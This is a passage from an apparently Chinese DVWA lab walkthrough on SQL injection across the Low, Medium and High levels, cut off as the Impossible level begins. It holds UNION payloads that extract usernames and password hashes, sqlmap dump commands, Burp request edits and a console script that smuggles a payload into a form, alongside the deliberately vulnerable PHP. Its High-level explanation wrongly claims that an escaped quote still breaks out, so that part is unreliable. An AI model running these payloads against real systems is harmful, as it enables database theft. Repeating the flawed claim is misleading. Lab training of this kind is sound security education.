结果：列出users表的所有列名</span></span><br><span class="line"><span class="comment">-- 例如：user_id, first_name, last_name, user, password等</span></span><br></pre></td></tr></table></figure><h4 id="步骤6：获取敏感数据"><a href="#步骤6：获取敏感数据" class="headerlink" title="步骤6：获取敏感数据"></a>步骤6：获取敏感数据</h4><p><strong>获取用户名和密码：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT user, password FROM users --</span></span><br><span class="line"><span class="comment">-- 结果：显示所有用户名和密码哈希</span></span><br><span class="line"><span class="comment">-- 例如：</span></span><br><span class="line"><span class="comment">-- First name: admin</span></span><br><span class="line"><span class="comment">-- Surname: 5f4dcc3b5aa765d61d8327deb882cf99 (password的MD5)</span></span><br></pre></td></tr></table></figure><p><strong>一次性获取所有用户信息：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT CONCAT(user,&#x27;:&#x27;,password), NULL FROM users --</span></span><br><span class="line"><span class="comment">-- 结果：admin:5f4dcc3b5aa765d61d8327deb882cf99</span></span><br></pre></td></tr></table></figure><p><strong>GROUP_CONCAT获取所有数据：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT GROUP_CONCAT(user,&#x27;:&#x27;,password SEPARATOR &#x27;&lt;br&gt;&#x27;), NULL FROM users --</span></span><br><span class="line"><span class="comment">-- 结果：一次性显示所有用户和密码</span></span><br><span class="line"><span class="comment">-- admin:5f4dcc3b5aa765d61d8327deb882cf99&lt;br&gt;gordonb:e99a18c428cb38d5f260853678922e03...</span></span><br></pre></td></tr></table></figure><h4 id="步骤7：使用SQLMap自动化"><a href="#步骤7：使用SQLMap自动化" class="headerlink" title="步骤7：使用SQLMap自动化"></a>步骤7：使用SQLMap自动化</h4><p><strong>基本用法：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装sqlmap（Kali Linux自带）</span></span><br><span class="line">apt-get install sqlmap</span><br><span class="line"></span><br><span class="line"><span class="comment"># 基本注入测试</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">--cookie=<span class="string">&quot;security=low; PHPSESSID=你的session&quot;</span> \</span><br><span class="line">--batch</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取所有数据库</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">--cookie=<span class="string">&quot;security=low; PHPSESSID=你的session&quot;</span> \</span><br><span class="line">--dbs</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取当前数据库的表</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">--cookie=<span class="string">&quot;security=low; PHPSESSID=你的session&quot;</span> \</span><br><span class="line">-D dvwa --tables</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取users表的数据</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">--cookie=<span class="string">&quot;security=low; PHPSESSID=你的session&quot;</span> \</span><br><span class="line">-D dvwa -T <span class="built_in">users</span> --dump</span><br></pre></td></tr></table></figure><p><strong>参数说明：</strong></p><ul><li><code>-u</code> - 目标URL</li><li><code>--cookie</code> - 设置Cookie</li><li><code>--batch</code> - 使用默认选项（不询问）</li><li><code>--dbs</code> - 枚举所有数据库</li><li><code>-D</code> - 指定数据库</li><li><code>-T</code> - 指定表</li><li><code>--dump</code> - 导出数据</li></ul><h4 id="步骤8：使用Burp-Suite"><a href="#步骤8：使用Burp-Suite" class="headerlink" title="步骤8：使用Burp Suite"></a>步骤8：使用Burp Suite</h4><p><strong>步骤：</strong></p><ol><li>拦截请求</li><li>发送到Repeater</li><li>修改id参数为注入payload</li><li>观察响应</li></ol><p><strong>示例payload：</strong></p><figure class="highlight n1ql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1&#x27; UNION <span class="keyword">SELECT</span> <span class="keyword">user</span>, <span class="keyword">password</span> <span class="keyword">FROM</span> users --</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了mysqli和下拉菜单，但仍可注入。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Submit&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：使用POST而不是GET ★★★</span></span><br><span class="line">    <span class="comment">// $_POST - 从POST请求体获取数据</span></span><br><span class="line">    <span class="comment">// 相比GET更安全，不会出现在URL中</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：使用mysqli_real_escape_string() ★★★</span></span><br><span class="line">    <span class="comment">// mysqli_real_escape_string() - 转义SQL语句中的特殊字符</span></span><br><span class="line">    <span class="comment">// 转义字符：\x00, \n, \r, \, &#x27;, &quot;, \x1a</span></span><br><span class="line">    <span class="comment">// 作用：防止通过单引号闭合SQL语句</span></span><br><span class="line">    <span class="comment">// $GLOBALS[&quot;___mysqli_ston&quot;] - mysqli数据库连接对象</span></span><br><span class="line">    <span class="comment">// 原理：&#x27;转义为\&#x27;，使其无法闭合字符串</span></span><br><span class="line">    <span class="variable">$id</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$id</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 仍然拼接SQL，虽然转义了 ★★★</span></span><br><span class="line">    <span class="comment">// 注意：查询语句结构和Low难度相同</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT first_name, last_name FROM users WHERE user_id = <span class="subst">$id</span>;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 使用mysqli_query执行查询</span></span><br><span class="line">    <span class="comment">// mysqli_query() - mysqli扩展的查询函数</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> )</span><br><span class="line">        <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])</span><br><span class="line">        : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取结果</span></span><br><span class="line">    <span class="comment">// mysqli_fetch_assoc() - 将结果行作为关联数组返回</span></span><br><span class="line">    <span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>( <span class="variable">$result</span> );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$row</span> ) &#123;</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;ID: &#x27;</span> . <span class="variable">$id</span> . <span class="string">&#x27;&lt;br /&gt;First name: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;first_name&#x27;</span> ] . <span class="string">&#x27;&lt;br /&gt;Surname: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;last_name&#x27;</span> ] . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 关闭数据库连接</span></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>POST请求</strong> - 不在URL中暴露参数</li><li><strong>mysqli_real_escape_string()</strong> - 转义特殊字符</li><li><strong>下拉菜单</strong> - 前端限制输入（可绕过）</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>关键漏洞：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 注意这里没有引号！</span></span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;SELECT ... WHERE user_id = <span class="subst">$id</span>;&quot;</span>;</span><br><span class="line"><span class="comment">//                                    ^</span></span><br><span class="line"><span class="comment">//                                    没有单引号包裹</span></span><br></pre></td></tr></table></figure><p>虽然使用了<code>mysqli_real_escape_string()</code>，但SQL中<strong>没有用引号包裹</strong><code>$id</code>，所以：</p><ul><li>单引号转义无效（因为根本不需要闭合引号）</li><li>数字型注入仍然有效</li></ul><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：数字型注入（无需引号）"><a href="#方法1：数字型注入（无需引号）" class="headerlink" title="方法1：数字型注入（无需引号）"></a>方法1：数字型注入（无需引号）</h4><p>由于SQL中<code>user_id = $id</code>没有引号，可以直接注入：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1 OR 1=1</span></span><br><span class="line"><span class="comment">-- 完整SQL：SELECT ... WHERE user_id = 1 OR 1=1;</span></span><br><span class="line"><span class="comment">-- 结果：返回所有用户</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 输入：1 UNION SELECT user, password FROM users</span></span><br><span class="line"><span class="comment">-- 完整SQL：SELECT ... WHERE user_id = 1 UNION SELECT user, password FROM users;</span></span><br><span class="line"><span class="comment">-- 结果：显示用户名和密码</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 输入：1 AND 1=2 UNION SELECT database(), user()</span></span><br><span class="line"><span class="comment">-- 结果：显示数据库信息</span></span><br></pre></td></tr></table></figure><p><strong>注意：</strong></p><ul><li>不需要单引号</li><li>不需要注释符</li><li>mysqli_real_escape_string()完全无效</li></ul><h4 id="方法2：使用Burp-Suite绕过前端限制"><a href="#方法2：使用Burp-Suite绕过前端限制" class="headerlink" title="方法2：使用Burp Suite绕过前端限制"></a>方法2：使用Burp Suite绕过前端限制</h4><p>Medium难度使用下拉菜单限制输入，但这只是前端限制：</p><p><strong>步骤：</strong></p><ol><li>打开Burp Suite，开启拦截</li><li>选择下拉菜单中的任意值，提交</li><li>在Burp中拦截请求</li><li>修改POST参数：</li></ol><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/sqli/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="language-pgsql">id=<span class="number">1</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">user</span>, <span class="keyword">password</span> <span class="keyword">FROM</span> users&amp;Submit=Submit</span></span><br></pre></td></tr></table></figure><ol start="5"><li>Forward请求</li><li>查看响应，获取数据</li></ol><h4 id="方法3：直接修改HTML"><a href="#方法3：直接修改HTML" class="headerlink" title="方法3：直接修改HTML"></a>方法3：直接修改HTML</h4><p><strong>浏览器控制台修改：</strong></p><ol><li>按F12打开开发者工具</li><li>在Console中执行：</li></ol><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 添加自定义选项</span></span><br><span class="line"><span class="keyword">var</span> select = <span class="variable language_">document</span>.<span class="title function_">getElementsByName</span>(<span class="string">&#x27;id&#x27;</span>)[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">var</span> option = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&#x27;option&#x27;</span>);</span><br><span class="line">option.<span class="property">value</span> = <span class="string">&#x27;1 UNION SELECT user, password FROM users&#x27;</span>;</span><br><span class="line">option.<span class="property">text</span> = <span class="string">&#x27;Inject&#x27;</span>;</span><br><span class="line">select.<span class="title function_">add</span>(option);</span><br><span class="line">select.<span class="property">value</span> = option.<span class="property">value</span>;</span><br></pre></td></tr></table></figure><ol start="3"><li>提交表单</li></ol><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用了Session和页面跳转，增加了攻击复杂度。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_SESSION</span> [ <span class="string">&#x27;id&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：从SESSION获取ID ★★★</span></span><br><span class="line">    <span class="comment">// $_SESSION - 服务器端存储的会话变量</span></span><br><span class="line">    <span class="comment">// 数据存储在服务器，客户端只有session ID</span></span><br><span class="line">    <span class="comment">// 作用：避免直接从用户输入获取数据</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_SESSION</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 仍然存在漏洞：直接拼接SQL ★★★</span></span><br><span class="line">    <span class="comment">// 虽然从SESSION获取，但SESSION的值来自另一个页面的用户输入！</span></span><br><span class="line">    <span class="comment">// 注意：这里有单引号包裹</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT first_name, last_name FROM users WHERE user_id = &#x27;<span class="subst">$id</span>&#x27; LIMIT 1;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行查询</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>], <span class="variable">$query</span> )</span><br><span class="line">        <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;Something went wrong.&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取结果</span></span><br><span class="line">    <span class="variable">$row</span> = <span class="title function_ invoke__">mysqli_fetch_assoc</span>( <span class="variable">$result</span> );</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$row</span> ) &#123;</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;ID: &#x27;</span> . <span class="variable">$id</span> . <span class="string">&#x27;&lt;br /&gt;First name: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;first_name&#x27;</span> ] . <span class="string">&#x27;&lt;br /&gt;Surname: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;last_name&#x27;</span> ] . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>关键点：</strong></p><p>High难度分为两个页面：</p><ol><li><strong>session-input.php</strong> - 接收用户输入，存入SESSION</li><li><strong>index.php</strong> - 从SESSION读取，执行查询</li></ol><p><strong>session-input.php代码：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 这里接收用户输入 ★★★</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Submit&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入的ID</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 使用stripslashes()去除反斜杠 ★★★</span></span><br><span class="line">    <span class="comment">// stripslashes() - 删除反斜杠</span></span><br><span class="line">    <span class="comment">// 例如：\&#x27; 变成 &#x27;</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$id</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 使用mysqli_real_escape_string转义 ★★★</span></span><br><span class="line">    <span class="variable">$id</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$id</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 将处理后的ID存入SESSION ★★★</span></span><br><span class="line">    <span class="variable">$_SESSION</span>[ <span class="string">&#x27;id&#x27;</span> ] = <span class="variable">$id</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 重定向回主页面</span></span><br><span class="line">    <span class="comment">// header() - 发送原始HTTP头</span></span><br><span class="line">    <span class="comment">// Location - 重定向到指定URL</span></span><br><span class="line">    <span class="title function_ invoke__">header</span> (<span class="string">&quot;Location: &quot;</span> . <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_REFERER&#x27;</span>]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>使用SESSION</strong> - 数据存储在服务器端</li><li><strong>stripslashes()</strong> - 去除反斜杠</li><li><strong>mysqli_real_escape_string()</strong> - 转义特殊字符</li><li><strong>页面分离</strong> - 输入和查询在不同页面</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>关键问题：</strong></p><p>虽然使用了SESSION，但SESSION的值仍来自用户输入！</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">用户输入 → 转义 → 存入<span class="keyword">SESSION</span> → 从<span class="keyword">SESSION</span>读取 → 拼接<span class="keyword">SQL</span></span><br></pre></td></tr></table></figure><p>转义后的数据存入SESSION，但<strong>从SESSION读取后直接拼接</strong>，仍有注入风险。</p><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：直接在输入页面注入"><a href="#方法1：直接在输入页面注入" class="headerlink" title="方法1：直接在输入页面注入"></a>方法1：直接在输入页面注入</h4><p><strong>攻击流程：</strong></p><ol><li>访问 <code>session-input.php</code></li><li>在输入框中输入payload</li><li>虽然经过转义，但存入SESSION</li><li>返回主页面，从SESSION读取并执行</li></ol><p><strong>Payload：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT user, password FROM users --</span></span><br><span class="line"><span class="comment">-- 经过转义：1\&#x27; UNION SELECT user, password FROM users --</span></span><br><span class="line"><span class="comment">-- 存入SESSION：1\&#x27; UNION SELECT user, password FROM users --</span></span><br><span class="line"><span class="comment">-- 拼接到SQL：... WHERE user_id = &#x27;1\&#x27; UNION SELECT user, password FROM users -- &#x27; ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 结果：转义的反斜杠会被MySQL处理，仍然可以注入</span></span><br></pre></td></tr></table></figure><h4 id="方法2：使用Burp-Suite"><a href="#方法2：使用Burp-Suite" class="headerlink" title="方法2：使用Burp Suite"></a>方法2：使用Burp Suite</h4><p><strong>步骤：</strong></p><ol><li>开启Burp代理</li><li>访问session-input.php</li><li>提交注入payload</li><li>在Burp中观察两次请求：<ul><li>POST到session-input.php（存入SESSION）</li><li>GET主页面（从SESSION读取执行）</li></ul></li><li>查看第二次请求的响应</li></ol><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用PDO预编译语句，真正安全的实现。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Submit&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：验证输入是否为数字 ★★★</span></span><br><span class="line">    <span class="comment">// is_numeric() - 检查变量是否为数字或数字字符串</span></span><br><span class="line">    <span class="comment">// 作用：只接受数字，拒绝其他字符</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">is_numeric</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;id&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取ID</span></span><br><span class="line">        <span class="variable">$id</span> = <span 